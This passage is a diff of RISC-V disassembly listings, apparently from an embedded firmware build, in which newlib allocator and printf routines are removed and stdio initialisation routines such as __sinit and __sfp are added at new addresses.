-20403c26:	4404                	lw	s1,8(s0)
-20403c28:	00442a83          	lw	s5,4(s0)
-20403c2c:	1afd                	addi	s5,s5,-1
-20403c2e:	020ad063          	bgez	s5,20403c4e <_fwalk_reent+0x4a>
-20403c32:	4000                	lw	s0,0(s0)
-20403c34:	f86d                	bnez	s0,20403c26 <_fwalk_reent+0x22>
-20403c36:	50b2                	lw	ra,44(sp)
-20403c38:	5422                	lw	s0,40(sp)
-20403c3a:	5492                	lw	s1,36(sp)
-20403c3c:	5902                	lw	s2,32(sp)
-20403c3e:	4a62                	lw	s4,24(sp)
-20403c40:	4ad2                	lw	s5,20(sp)
-20403c42:	4b42                	lw	s6,16(sp)
-20403c44:	4bb2                	lw	s7,12(sp)
-20403c46:	854e                	mv	a0,s3
-20403c48:	49f2                	lw	s3,28(sp)
-20403c4a:	6145                	addi	sp,sp,48
-20403c4c:	8082                	ret
-20403c4e:	00c4d783          	lhu	a5,12(s1)
-20403c52:	00fb7b63          	bgeu	s6,a5,20403c68 <_fwalk_reent+0x64>
-20403c56:	00e49783          	lh	a5,14(s1)
-20403c5a:	01778763          	beq	a5,s7,20403c68 <_fwalk_reent+0x64>
-20403c5e:	85a6                	mv	a1,s1
-20403c60:	854a                	mv	a0,s2
-20403c62:	9a02                	jalr	s4
-20403c64:	00a9e9b3          	or	s3,s3,a0
-20403c68:	06848493          	addi	s1,s1,104
-20403c6c:	b7c1                	j	20403c2c <_fwalk_reent+0x28>
+20402908 <std>:
+20402908:	1141                	addi	sp,sp,-16
+2040290a:	c422                	sw	s0,8(sp)
+2040290c:	c606                	sw	ra,12(sp)
+2040290e:	842a                	mv	s0,a0
+20402910:	00b51623          	sh	a1,12(a0)
+20402914:	00c51723          	sh	a2,14(a0)
+20402918:	00052023          	sw	zero,0(a0)
+2040291c:	00052223          	sw	zero,4(a0)
+20402920:	00052423          	sw	zero,8(a0)
+20402924:	06052223          	sw	zero,100(a0)
+20402928:	00052823          	sw	zero,16(a0)
+2040292c:	00052a23          	sw	zero,20(a0)
+20402930:	00052c23          	sw	zero,24(a0)
+20402934:	4621                	li	a2,8
+20402936:	4581                	li	a1,0
+20402938:	05c50513          	addi	a0,a0,92
+2040293c:	3e25                	jal	20402474 <memset>
+2040293e:	00001797          	auipc	a5,0x1
+20402942:	c3478793          	addi	a5,a5,-972 # 20403572 <__sread>
+20402946:	d05c                	sw	a5,36(s0)
+20402948:	00001797          	auipc	a5,0x1
+2040294c:	c5a78793          	addi	a5,a5,-934 # 204035a2 <__swrite>
+20402950:	d41c                	sw	a5,40(s0)
+20402952:	00001797          	auipc	a5,0x1
+20402956:	ca078793          	addi	a5,a5,-864 # 204035f2 <__sseek>
+2040295a:	d45c                	sw	a5,44(s0)
+2040295c:	00001797          	auipc	a5,0x1
+20402960:	ccc78793          	addi	a5,a5,-820 # 20403628 <__sclose>
+20402964:	40b2                	lw	ra,12(sp)
+20402966:	d000                	sw	s0,32(s0)
+20402968:	d81c                	sw	a5,48(s0)
+2040296a:	4422                	lw	s0,8(sp)
+2040296c:	0141                	addi	sp,sp,16
+2040296e:	8082                	ret
 
-20403c6e <malloc>:
-20403c6e:	85aa                	mv	a1,a0
-20403c70:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403c74:	a055                	j	20403d18 <_malloc_r>
+20402970 <_cleanup_r>:
+20402970:	00001597          	auipc	a1,0x1
+20402974:	01458593          	addi	a1,a1,20 # 20403984 <_fflush_r>
+20402978:	aa81                	j	20402ac8 <_fwalk_reent>
 
-20403c76 <_free_r>:
-20403c76:	c1c5                	beqz	a1,20403d16 <_free_r+0xa0>
-20403c78:	ffc5a783          	lw	a5,-4(a1)
-20403c7c:	1101                	addi	sp,sp,-32
-20403c7e:	cc22                	sw	s0,24(sp)
-20403c80:	ce06                	sw	ra,28(sp)
-20403c82:	ffc58413          	addi	s0,a1,-4
-20403c86:	0007d363          	bgez	a5,20403c8c <_free_r+0x16>
-20403c8a:	943e                	add	s0,s0,a5
-20403c8c:	c62a                	sw	a0,12(sp)
-20403c8e:	17a010ef          	jal	ra,20404e08 <__malloc_lock>
-20403c92:	81c18713          	addi	a4,gp,-2020 # 8000d88c <__malloc_free_list>
-20403c96:	431c                	lw	a5,0(a4)
-20403c98:	4532                	lw	a0,12(sp)
-20403c9a:	eb89                	bnez	a5,20403cac <_free_r+0x36>
-20403c9c:	00042223          	sw	zero,4(s0)
-20403ca0:	c300                	sw	s0,0(a4)
-20403ca2:	4462                	lw	s0,24(sp)
-20403ca4:	40f2                	lw	ra,28(sp)
-20403ca6:	6105                	addi	sp,sp,32
-20403ca8:	1620106f          	j	20404e0a <__malloc_unlock>
-20403cac:	00f47d63          	bgeu	s0,a5,20403cc6 <_free_r+0x50>
-20403cb0:	4010                	lw	a2,0(s0)
-20403cb2:	00c406b3          	add	a3,s0,a2
-20403cb6:	00d79663          	bne	a5,a3,20403cc2 <_free_r+0x4c>
-20403cba:	4394                	lw	a3,0(a5)
-20403cbc:	43dc                	lw	a5,4(a5)
-20403cbe:	96b2                	add	a3,a3,a2
-20403cc0:	c014                	sw	a3,0(s0)
-20403cc2:	c05c                	sw	a5,4(s0)
-20403cc4:	bff1                	j	20403ca0 <_free_r+0x2a>
-20403cc6:	873e                	mv	a4,a5
-20403cc8:	43dc                	lw	a5,4(a5)
-20403cca:	c399                	beqz	a5,20403cd0 <_free_r+0x5a>
-20403ccc:	fef47de3          	bgeu	s0,a5,20403cc6 <_free_r+0x50>
-20403cd0:	4314                	lw	a3,0(a4)
-20403cd2:	00d70633          	add	a2,a4,a3
-20403cd6:	00861f63          	bne	a2,s0,20403cf4 <_free_r+0x7e>
-20403cda:	4010                	lw	a2,0(s0)
-20403cdc:	96b2                	add	a3,a3,a2
-20403cde:	c314                	sw	a3,0(a4)
-20403ce0:	00d70633          	add	a2,a4,a3
-20403ce4:	fac79fe3          	bne	a5,a2,20403ca2 <_free_r+0x2c>
-20403ce8:	4390                	lw	a2,0(a5)
-20403cea:	43dc                	lw	a5,4(a5)
-20403cec:	96b2                	add	a3,a3,a2
-20403cee:	c314                	sw	a3,0(a4)
-20403cf0:	c35c                	sw	a5,4(a4)
-20403cf2:	bf45                	j	20403ca2 <_free_r+0x2c>
-20403cf4:	00c47563          	bgeu	s0,a2,20403cfe <_free_r+0x88>
-20403cf8:	47b1                	li	a5,12
-20403cfa:	c11c                	sw	a5,0(a0)
-20403cfc:	b75d                	j	20403ca2 <_free_r+0x2c>
-20403cfe:	4010                	lw	a2,0(s0)
-20403d00:	00c406b3          	add	a3,s0,a2
-20403d04:	00d79663          	bne	a5,a3,20403d10 <_free_r+0x9a>
-20403d08:	4394                	lw	a3,0(a5)
-20403d0a:	43dc                	lw	a5,4(a5)
-20403d0c:	96b2                	add	a3,a3,a2
-20403d0e:	c014                	sw	a3,0(s0)
-20403d10:	c05c                	sw	a5,4(s0)
-20403d12:	c340                	sw	s0,4(a4)
-20403d14:	b779                	j	20403ca2 <_free_r+0x2c>
-20403d16:	8082                	ret
+2040297a <__sfmoreglue>:
+2040297a:	1141                	addi	sp,sp,-16
+2040297c:	c226                	sw	s1,4(sp)
+2040297e:	06800613          	li	a2,104
+20402982:	fff58493          	addi	s1,a1,-1
+20402986:	02c484b3          	mul	s1,s1,a2
+2040298a:	c04a                	sw	s2,0(sp)
+2040298c:	892e                	mv	s2,a1
+2040298e:	c422                	sw	s0,8(sp)
+20402990:	c606                	sw	ra,12(sp)
+20402992:	07448593          	addi	a1,s1,116
+20402996:	3671                	jal	20402522 <_malloc_r>
+20402998:	842a                	mv	s0,a0
+2040299a:	cd01                	beqz	a0,204029b2 <__sfmoreglue+0x38>
+2040299c:	00052023          	sw	zero,0(a0)
+204029a0:	01252223          	sw	s2,4(a0)
+204029a4:	0531                	addi	a0,a0,12
+204029a6:	c408                	sw	a0,8(s0)
+204029a8:	06848613          	addi	a2,s1,104
+204029ac:	4581                	li	a1,0
+204029ae:	ac7ff0ef          	jal	ra,20402474 <memset>
+204029b2:	40b2                	lw	ra,12(sp)
+204029b4:	8522                	mv	a0,s0
+204029b6:	4422                	lw	s0,8(sp)
+204029b8:	4492                	lw	s1,4(sp)
+204029ba:	4902                	lw	s2,0(sp)
+204029bc:	0141                	addi	sp,sp,16
+204029be:	8082                	ret
 
-20403d18 <_malloc_r>:
-20403d18:	1101                	addi	sp,sp,-32
-20403d1a:	ca26                	sw	s1,20(sp)
-20403d1c:	00358493          	addi	s1,a1,3
-20403d20:	98f1                	andi	s1,s1,-4
-20403d22:	c84a                	sw	s2,16(sp)
-20403d24:	ce06                	sw	ra,28(sp)
-20403d26:	cc22                	sw	s0,24(sp)
-20403d28:	c64e                	sw	s3,12(sp)
-20403d2a:	04a1                	addi	s1,s1,8
-20403d2c:	47b1                	li	a5,12
-20403d2e:	892a                	mv	s2,a0
-20403d30:	04f4f463          	bgeu	s1,a5,20403d78 <_malloc_r+0x60>
-20403d34:	44b1                	li	s1,12
-20403d36:	04b4e363          	bltu	s1,a1,20403d7c <_malloc_r+0x64>
-20403d3a:	854a                	mv	a0,s2
-20403d3c:	0cc010ef          	jal	ra,20404e08 <__malloc_lock>
-20403d40:	81c18693          	addi	a3,gp,-2020 # 8000d88c <__malloc_free_list>
-20403d44:	4298                	lw	a4,0(a3)
-20403d46:	843a                	mv	s0,a4
-20403d48:	e429                	bnez	s0,20403d92 <_malloc_r+0x7a>
-20403d4a:	82018413          	addi	s0,gp,-2016 # 8000d890 <__malloc_sbrk_start>
-20403d4e:	401c                	lw	a5,0(s0)
-20403d50:	e791                	bnez	a5,20403d5c <_malloc_r+0x44>
-20403d52:	4581                	li	a1,0
-20403d54:	854a                	mv	a0,s2
-20403d56:	2d5000ef          	jal	ra,2040482a <_sbrk_r>
-20403d5a:	c008                	sw	a0,0(s0)
-20403d5c:	85a6                	mv	a1,s1
-20403d5e:	854a                	mv	a0,s2
-20403d60:	2cb000ef          	jal	ra,2040482a <_sbrk_r>
-20403d64:	59fd                	li	s3,-1
-20403d66:	07351a63          	bne	a0,s3,20403dda <_malloc_r+0xc2>
-20403d6a:	47b1                	li	a5,12
-20403d6c:	00f92023          	sw	a5,0(s2)
-20403d70:	854a                	mv	a0,s2
-20403d72:	098010ef          	jal	ra,20404e0a <__malloc_unlock>
-20403d76:	a031                	j	20403d82 <_malloc_r+0x6a>
-20403d78:	fa04dfe3          	bgez	s1,20403d36 <_malloc_r+0x1e>
-20403d7c:	47b1                	li	a5,12
-20403d7e:	00f92023          	sw	a5,0(s2)
-20403d82:	4501                	li	a0,0
-20403d84:	40f2                	lw	ra,28(sp)
-20403d86:	4462                	lw	s0,24(sp)
-20403d88:	44d2                	lw	s1,20(sp)
-20403d8a:	4942                	lw	s2,16(sp)
-20403d8c:	49b2                	lw	s3,12(sp)
-20403d8e:	6105                	addi	sp,sp,32
-20403d90:	8082                	ret
-20403d92:	401c                	lw	a5,0(s0)
-20403d94:	8f85                	sub	a5,a5,s1
-20403d96:	0207cf63          	bltz	a5,20403dd4 <_malloc_r+0xbc>
-20403d9a:	462d                	li	a2,11
-20403d9c:	00f67663          	bgeu	a2,a5,20403da8 <_malloc_r+0x90>
-20403da0:	c01c                	sw	a5,0(s0)
-20403da2:	943e                	add	s0,s0,a5
-20403da4:	c004                	sw	s1,0(s0)
-20403da6:	a029                	j	20403db0 <_malloc_r+0x98>
-20403da8:	405c                	lw	a5,4(s0)
-20403daa:	02871363          	bne	a4,s0,20403dd0 <_malloc_r+0xb8>
-20403dae:	c29c                	sw	a5,0(a3)
-20403db0:	854a                	mv	a0,s2
-20403db2:	058010ef          	jal	ra,20404e0a <__malloc_unlock>
-20403db6:	00b40513          	addi	a0,s0,11
-20403dba:	00440793          	addi	a5,s0,4
-20403dbe:	9961                	andi	a0,a0,-8
-20403dc0:	40f50733          	sub	a4,a0,a5
-20403dc4:	fcf500e3          	beq	a0,a5,20403d84 <_malloc_r+0x6c>
-20403dc8:	943a                	add	s0,s0,a4
-20403dca:	8f89                	sub	a5,a5,a0
-20403dcc:	c01c                	sw	a5,0(s0)
-20403dce:	bf5d                	j	20403d84 <_malloc_r+0x6c>
-20403dd0:	c35c                	sw	a5,4(a4)
-20403dd2:	bff9                	j	20403db0 <_malloc_r+0x98>
-20403dd4:	8722                	mv	a4,s0
-20403dd6:	4040                	lw	s0,4(s0)
-20403dd8:	bf85                	j	20403d48 <_malloc_r+0x30>
-20403dda:	00350413          	addi	s0,a0,3
-20403dde:	9871                	andi	s0,s0,-4
-20403de0:	fc8502e3          	beq	a0,s0,20403da4 <_malloc_r+0x8c>
-20403de4:	40a405b3          	sub	a1,s0,a0
-20403de8:	854a                	mv	a0,s2
-20403dea:	241000ef          	jal	ra,2040482a <_sbrk_r>
-20403dee:	fb351be3          	bne	a0,s3,20403da4 <_malloc_r+0x8c>
-20403df2:	bfa5                	j	20403d6a <_malloc_r+0x52>
+204029c0 <__sinit>:
+204029c0:	4d1c                	lw	a5,24(a0)
+204029c2:	e3bd                	bnez	a5,20402a28 <__sinit+0x68>
+204029c4:	1141                	addi	sp,sp,-16
+204029c6:	c422                	sw	s0,8(sp)
+204029c8:	c606                	sw	ra,12(sp)
+204029ca:	00000797          	auipc	a5,0x0
+204029ce:	fa678793          	addi	a5,a5,-90 # 20402970 <_cleanup_r>
+204029d2:	d51c                	sw	a5,40(a0)
+204029d4:	04052423          	sw	zero,72(a0)
+204029d8:	04052623          	sw	zero,76(a0)
+204029dc:	04052823          	sw	zero,80(a0)
+204029e0:	5fc0b797          	auipc	a5,0x5fc0b
+204029e4:	e807a783          	lw	a5,-384(a5) # 8000d860 <_global_impure_ptr>
+204029e8:	842a                	mv	s0,a0
+204029ea:	00f51463          	bne	a0,a5,204029f2 <__sinit+0x32>
+204029ee:	4785                	li	a5,1
+204029f0:	cd1c                	sw	a5,24(a0)
+204029f2:	8522                	mv	a0,s0
+204029f4:	281d                	jal	20402a2a <__sfp>
+204029f6:	c048                	sw	a0,4(s0)
+204029f8:	8522                	mv	a0,s0
+204029fa:	2805                	jal	20402a2a <__sfp>
+204029fc:	c408                	sw	a0,8(s0)
+204029fe:	8522                	mv	a0,s0
+20402a00:	202d                	jal	20402a2a <__sfp>
+20402a02:	c448                	sw	a0,12(s0)
+20402a04:	4048                	lw	a0,4(s0)
+20402a06:	4601                	li	a2,0
+20402a08:	4591                	li	a1,4
+20402a0a:	3dfd                	jal	20402908 <std>
+20402a0c:	4408                	lw	a0,8(s0)
+20402a0e:	4605                	li	a2,1
+20402a10:	45a5                	li	a1,9
+20402a12:	3ddd                	jal	20402908 <std>
+20402a14:	4448                	lw	a0,12(s0)
+20402a16:	4609                	li	a2,2
+20402a18:	45c9                	li	a1,18
+20402a1a:	35fd                	jal	20402908 <std>
+20402a1c:	4785                	li	a5,1
+20402a1e:	40b2                	lw	ra,12(sp)
+20402a20:	cc1c                	sw	a5,24(s0)
+20402a22:	4422                	lw	s0,8(sp)
+20402a24:	0141                	addi	sp,sp,16
+20402a26:	8082                	ret
+20402a28:	8082                	ret
 
-20403df4 <__ssputs_r>:
-20403df4:	1101                	addi	sp,sp,-32
-20403df6:	c84a                	sw	s2,16(sp)
-20403df8:	0085a903          	lw	s2,8(a1)
-20403dfc:	cc22                	sw	s0,24(sp)
-20403dfe:	c64e                	sw	s3,12(sp)
-20403e00:	c452                	sw	s4,8(sp)
-20403e02:	ce06                	sw	ra,28(sp)
-20403e04:	ca26                	sw	s1,20(sp)
-20403e06:	c256                	sw	s5,4(sp)
-20403e08:	c05a                	sw	s6,0(sp)
-20403e0a:	842e                	mv	s0,a1
-20403e0c:	8a32                	mv	s4,a2
-20403e0e:	89b6                	mv	s3,a3
-20403e10:	0926ed63          	bltu	a3,s2,20403eaa <__ssputs_r+0xb6>
-20403e14:	00c5d783          	lhu	a5,12(a1)
-20403e18:	4807f713          	andi	a4,a5,1152
-20403e1c:	c749                	beqz	a4,20403ea6 <__ssputs_r+0xb2>
-20403e1e:	4004                	lw	s1,0(s0)
-20403e20:	498c                	lw	a1,16(a1)
-20403e22:	4858                	lw	a4,20(s0)
-20403e24:	8b2a                	mv	s6,a0
-20403e26:	40b48ab3          	sub	s5,s1,a1
-20403e2a:	448d                	li	s1,3
-20403e2c:	02e484b3          	mul	s1,s1,a4
-20403e30:	4709                	li	a4,2
-20403e32:	02e4c4b3          	div	s1,s1,a4
-20403e36:	00168713          	addi	a4,a3,1
-20403e3a:	9756                	add	a4,a4,s5
-20403e3c:	00e4f363          	bgeu	s1,a4,20403e42 <__ssputs_r+0x4e>
-20403e40:	84ba                	mv	s1,a4
-20403e42:	4007f793          	andi	a5,a5,1024
-20403e46:	c3c9                	beqz	a5,20403ec8 <__ssputs_r+0xd4>
-20403e48:	85a6                	mv	a1,s1
-20403e4a:	855a                	mv	a0,s6
-20403e4c:	35f1                	jal	20403d18 <_malloc_r>
-20403e4e:	892a                	mv	s2,a0
-20403e50:	e50d                	bnez	a0,20403e7a <__ssputs_r+0x86>
-20403e52:	47b1                	li	a5,12
-20403e54:	00fb2023          	sw	a5,0(s6)
-20403e58:	00c45783          	lhu	a5,12(s0)
-20403e5c:	557d                	li	a0,-1
-20403e5e:	0407e793          	ori	a5,a5,64
-20403e62:	00f41623          	sh	a5,12(s0)
-20403e66:	40f2                	lw	ra,28(sp)
-20403e68:	4462                	lw	s0,24(sp)
-20403e6a:	44d2                	lw	s1,20(sp)
-20403e6c:	4942                	lw	s2,16(sp)
-20403e6e:	49b2                	lw	s3,12(sp)
-20403e70:	4a22                	lw	s4,8(sp)
-20403e72:	4a92                	lw	s5,4(sp)
-20403e74:	4b02                	lw	s6,0(sp)
-20403e76:	6105                	addi	sp,sp,32
-20403e78:	8082                	ret
-20403e7a:	480c                	lw	a1,16(s0)
-20403e7c:	8656                	mv	a2,s5
-20403e7e:	9caff0ef          	jal	ra,20403048 <memcpy>
-20403e82:	00c45783          	lhu	a5,12(s0)
-20403e86:	b7f7f793          	andi	a5,a5,-1153
-20403e8a:	0807e793          	ori	a5,a5,128
-20403e8e:	00f41623          	sh	a5,12(s0)
-20403e92:	01242823          	sw	s2,16(s0)
-20403e96:	c844                	sw	s1,20(s0)
-20403e98:	9956                	add	s2,s2,s5
-20403e9a:	415484b3          	sub	s1,s1,s5
-20403e9e:	01242023          	sw	s2,0(s0)
-20403ea2:	c404                	sw	s1,8(s0)
-20403ea4:	894e                	mv	s2,s3
-20403ea6:	0129f363          	bgeu	s3,s2,20403eac <__ssputs_r+0xb8>
-20403eaa:	894e                	mv	s2,s3
-20403eac:	4008                	lw	a0,0(s0)
-20403eae:	864a                	mv	a2,s2
-20403eb0:	85d2                	mv	a1,s4
-20403eb2:	9acff0ef          	jal	ra,2040305e <memmove>
-20403eb6:	441c                	lw	a5,8(s0)
-20403eb8:	4501                	li	a0,0
-20403eba:	412787b3          	sub	a5,a5,s2
-20403ebe:	c41c                	sw	a5,8(s0)
-20403ec0:	401c                	lw	a5,0(s0)
-20403ec2:	97ca                	add	a5,a5,s2
-20403ec4:	c01c                	sw	a5,0(s0)
-20403ec6:	b745                	j	20403e66 <__ssputs_r+0x72>
-20403ec8:	8626                	mv	a2,s1
-20403eca:	855a                	mv	a0,s6
-20403ecc:	741000ef          	jal	ra,20404e0c <_realloc_r>
-20403ed0:	892a                	mv	s2,a0
-20403ed2:	f161                	bnez	a0,20403e92 <__ssputs_r+0x9e>
-20403ed4:	480c                	lw	a1,16(s0)
-20403ed6:	855a                	mv	a0,s6
-20403ed8:	3b79                	jal	20403c76 <_free_r>
-20403eda:	bfa5                	j	20403e52 <__ssputs_r+0x5e>
+20402a2a <__sfp>:
+20402a2a:	1141                	addi	sp,sp,-16
+20402a2c:	c226                	sw	s1,4(sp)
+20402a2e:	5fc0b497          	auipc	s1,0x5fc0b
+20402a32:	e324a483          	lw	s1,-462(s1) # 8000d860 <_global_impure_ptr>
+20402a36:	4c9c                	lw	a5,24(s1)
+20402a38:	c04a                	sw	s2,0(sp)
+20402a3a:	c606                	sw	ra,12(sp)
+20402a3c:	c422                	sw	s0,8(sp)
+20402a3e:	892a                	mv	s2,a0
+20402a40:	e399                	bnez	a5,20402a46 <__sfp+0x1c>
+20402a42:	8526                	mv	a0,s1
+20402a44:	3fb5                	jal	204029c0 <__sinit>
+20402a46:	04848493          	addi	s1,s1,72
+20402a4a:	4480                	lw	s0,8(s1)
+20402a4c:	40dc                	lw	a5,4(s1)
+20402a4e:	17fd                	addi	a5,a5,-1
+20402a50:	0007d663          	bgez	a5,20402a5c <__sfp+0x32>
+20402a54:	409c                	lw	a5,0(s1)
+20402a56:	cfb9                	beqz	a5,20402ab4 <__sfp+0x8a>
+20402a58:	4084                	lw	s1,0(s1)
+20402a5a:	bfc5                	j	20402a4a <__sfp+0x20>
+20402a5c:	00c41703          	lh	a4,12(s0)
+20402a60:	e739                	bnez	a4,20402aae <__sfp+0x84>
+20402a62:	77c1                	lui	a5,0xffff0
+20402a64:	0785                	addi	a5,a5,1
+20402a66:	06042223          	sw	zero,100(s0)
+20402a6a:	00042023          	sw	zero,0(s0)
+20402a6e:	00042223          	sw	zero,4(s0)
+20402a72:	00042423          	sw	zero,8(s0)
+20402a76:	c45c                	sw	a5,12(s0)
+20402a78:	00042823          	sw	zero,16(s0)
+20402a7c:	00042a23          	sw	zero,20(s0)
+20402a80:	00042c23          	sw	zero,24(s0)
+20402a84:	4621                	li	a2,8
+20402a86:	4581                	li	a1,0
+20402a88:	05c40513          	addi	a0,s0,92
+20402a8c:	9e9ff0ef          	jal	ra,20402474 <memset>
+20402a90:	02042a23          	sw	zero,52(s0)
+20402a94:	02042c23          	sw	zero,56(s0)
+20402a98:	04042423          	sw	zero,72(s0)
+20402a9c:	04042623          	sw	zero,76(s0)
+20402aa0:	40b2                	lw	ra,12(sp)
+20402aa2:	8522                	mv	a0,s0
+20402aa4:	4422                	lw	s0,8(sp)
+20402aa6:	4492                	lw	s1,4(sp)
+20402aa8:	4902                	lw	s2,0(sp)
+20402aaa:	0141                	addi	sp,sp,16
+20402aac:	8082                	ret
+20402aae:	06840413          	addi	s0,s0,104
+20402ab2:	bf71                	j	20402a4e <__sfp+0x24>
+20402ab4:	4591                	li	a1,4
+20402ab6:	854a                	mv	a0,s2
+20402ab8:	35c9                	jal	2040297a <__sfmoreglue>
+20402aba:	c088                	sw	a0,0(s1)
+20402abc:	842a                	mv	s0,a0
+20402abe:	fd49                	bnez	a0,20402a58 <__sfp+0x2e>
+20402ac0:	47b1                	li	a5,12
+20402ac2:	00f92023          	sw	a5,0(s2)
+20402ac6:	bfe9                	j	20402aa0 <__sfp+0x76>
 
-20403edc <_svfiprintf_r>:
-20403edc:	00c5d783          	lhu	a5,12(a1)
-20403ee0:	7135                	addi	sp,sp,-160
-20403ee2:	cd22                	sw	s0,152(sp)
-20403ee4:	cb26                	sw	s1,148(sp)
-20403ee6:	c94a                	sw	s2,144(sp)
-20403ee8:	c552                	sw	s4,136(sp)
-20403eea:	cf06                	sw	ra,156(sp)
-20403eec:	c74e                	sw	s3,140(sp)
-20403eee:	c356                	sw	s5,132(sp)
-20403ef0:	c15a                	sw	s6,128(sp)
-20403ef2:	dede                	sw	s7,124(sp)
-20403ef4:	dce2                	sw	s8,120(sp)
-20403ef6:	dae6                	sw	s9,116(sp)
-20403ef8:	0807f793          	andi	a5,a5,128
-20403efc:	8a2a                	mv	s4,a0
-20403efe:	892e                	mv	s2,a1
-20403f00:	84b2                	mv	s1,a2
-20403f02:	8436                	mv	s0,a3
-20403f04:	c3a1                	beqz	a5,20403f44 <_svfiprintf_r+0x68>
-20403f06:	499c                	lw	a5,16(a1)
-20403f08:	ef95                	bnez	a5,20403f44 <_svfiprintf_r+0x68>
-20403f0a:	04000593          	li	a1,64
-20403f0e:	3529                	jal	20403d18 <_malloc_r>
-20403f10:	00a92023          	sw	a0,0(s2)
-20403f14:	00a92823          	sw	a0,16(s2)
-20403f18:	e115                	bnez	a0,20403f3c <_svfiprintf_r+0x60>
-20403f1a:	47b1                	li	a5,12
-20403f1c:	00fa2023          	sw	a5,0(s4)
-20403f20:	557d                	li	a0,-1
-20403f22:	40fa                	lw	ra,156(sp)
-20403f24:	446a                	lw	s0,152(sp)
-20403f26:	44da                	lw	s1,148(sp)
-20403f28:	494a                	lw	s2,144(sp)
-20403f2a:	49ba                	lw	s3,140(sp)
-20403f2c:	4a2a                	lw	s4,136(sp)
-20403f2e:	4a9a                	lw	s5,132(sp)
-20403f30:	4b0a                	lw	s6,128(sp)
-20403f32:	5bf6                	lw	s7,124(sp)
-20403f34:	5c66                	lw	s8,120(sp)
-20403f36:	5cd6                	lw	s9,116(sp)
-20403f38:	610d                	addi	sp,sp,160
-20403f3a:	8082                	ret
-20403f3c:	04000793          	li	a5,64
-20403f40:	00f92a23          	sw	a5,20(s2)
-20403f44:	02000793          	li	a5,32
-20403f48:	02f104a3          	sb	a5,41(sp)
-20403f4c:	03000793          	li	a5,48
-20403f50:	d202                	sw	zero,36(sp)
-20403f52:	02f10523          	sb	a5,42(sp)
-20403f56:	c622                	sw	s0,12(sp)
-20403f58:	02500b93          	li	s7,37
-20403f5c:	00002a97          	auipc	s5,0x2
-20403f60:	ff0a8a93          	addi	s5,s5,-16 # 20405f4c <__sf_fake_stdout+0x20>
-20403f64:	4c05                	li	s8,1
-20403f66:	4b29                	li	s6,10
-20403f68:	8426                	mv	s0,s1
-20403f6a:	00044783          	lbu	a5,0(s0)
-20403f6e:	c399                	beqz	a5,20403f74 <_svfiprintf_r+0x98>
-20403f70:	09779c63          	bne	a5,s7,20404008 <_svfiprintf_r+0x12c>
-20403f74:	40940cb3          	sub	s9,s0,s1
-20403f78:	00940d63          	beq	s0,s1,20403f92 <_svfiprintf_r+0xb6>
-20403f7c:	86e6                	mv	a3,s9
-20403f7e:	8626                	mv	a2,s1
-20403f80:	85ca                	mv	a1,s2
-20403f82:	8552                	mv	a0,s4
-20403f84:	3d85                	jal	20403df4 <__ssputs_r>
-20403f86:	57fd                	li	a5,-1
-20403f88:	1af50263          	beq	a0,a5,2040412c <_svfiprintf_r+0x250>
-20403f8c:	5792                	lw	a5,36(sp)
-20403f8e:	97e6                	add	a5,a5,s9
-20403f90:	d23e                	sw	a5,36(sp)
-20403f92:	00044783          	lbu	a5,0(s0)
-20403f96:	18078b63          	beqz	a5,2040412c <_svfiprintf_r+0x250>
-20403f9a:	57fd                	li	a5,-1
-20403f9c:	00140493          	addi	s1,s0,1
-20403fa0:	c802                	sw	zero,16(sp)
-20403fa2:	ce02                	sw	zero,28(sp)
-20403fa4:	ca3e                	sw	a5,20(sp)
-20403fa6:	cc02                	sw	zero,24(sp)
-20403fa8:	040109a3          	sb	zero,83(sp)
-20403fac:	d482                	sw	zero,104(sp)
-20403fae:	0004c583          	lbu	a1,0(s1)
-20403fb2:	4615                	li	a2,5
-20403fb4:	8556                	mv	a0,s5
-20403fb6:	639000ef          	jal	ra,20404dee <memchr>
-20403fba:	47c2                	lw	a5,16(sp)
-20403fbc:	00148413          	addi	s0,s1,1
-20403fc0:	e531                	bnez	a0,2040400c <_svfiprintf_r+0x130>
-20403fc2:	0107f713          	andi	a4,a5,16
-20403fc6:	c709                	beqz	a4,20403fd0 <_svfiprintf_r+0xf4>
-20403fc8:	02000713          	li	a4,32
-20403fcc:	04e109a3          	sb	a4,83(sp)
-20403fd0:	0087f713          	andi	a4,a5,8
-20403fd4:	c709                	beqz	a4,20403fde <_svfiprintf_r+0x102>
-20403fd6:	02b00713          	li	a4,43
-20403fda:	04e109a3          	sb	a4,83(sp)
-20403fde:	0004c683          	lbu	a3,0(s1)
-20403fe2:	02a00713          	li	a4,42
-20403fe6:	02e68b63          	beq	a3,a4,2040401c <_svfiprintf_r+0x140>
-20403fea:	47f2                	lw	a5,28(sp)
-20403fec:	8426                	mv	s0,s1
-20403fee:	4681                	li	a3,0
-20403ff0:	4625                	li	a2,9
-20403ff2:	00044703          	lbu	a4,0(s0)
-20403ff6:	00140593          	addi	a1,s0,1
-20403ffa:	fd070713          	addi	a4,a4,-48
-20403ffe:	06e67463          	bgeu	a2,a4,20404066 <_svfiprintf_r+0x18a>
-20404002:	c68d                	beqz	a3,2040402c <_svfiprintf_r+0x150>
-20404004:	ce3e                	sw	a5,28(sp)
-20404006:	a01d                	j	2040402c <_svfiprintf_r+0x150>
-20404008:	0405                	addi	s0,s0,1
-2040400a:	b785                	j	20403f6a <_svfiprintf_r+0x8e>
-2040400c:	41550533          	sub	a0,a0,s5
-20404010:	00ac1533          	sll	a0,s8,a0
-20404014:	8fc9                	or	a5,a5,a0
-20404016:	c83e                	sw	a5,16(sp)
-20404018:	84a2                	mv	s1,s0
-2040401a:	bf51                	j	20403fae <_svfiprintf_r+0xd2>
-2040401c:	4732                	lw	a4,12(sp)
-2040401e:	00470693          	addi	a3,a4,4
-20404022:	4318                	lw	a4,0(a4)
-20404024:	c636                	sw	a3,12(sp)
-20404026:	02074963          	bltz	a4,20404058 <_svfiprintf_r+0x17c>
-2040402a:	ce3a                	sw	a4,28(sp)
-2040402c:	00044703          	lbu	a4,0(s0)
-20404030:	02e00793          	li	a5,46
-20404034:	04f71f63          	bne	a4,a5,20404092 <_svfiprintf_r+0x1b6>
-20404038:	00144703          	lbu	a4,1(s0)
-2040403c:	02a00793          	li	a5,42
-20404040:	02f71b63          	bne	a4,a5,20404076 <_svfiprintf_r+0x19a>
-20404044:	47b2                	lw	a5,12(sp)
-20404046:	0409                	addi	s0,s0,2
-20404048:	00478713          	addi	a4,a5,4 # ffff0004 <_heap_end+0x7ffe1804>
-2040404c:	439c                	lw	a5,0(a5)
-2040404e:	c63a                	sw	a4,12(sp)
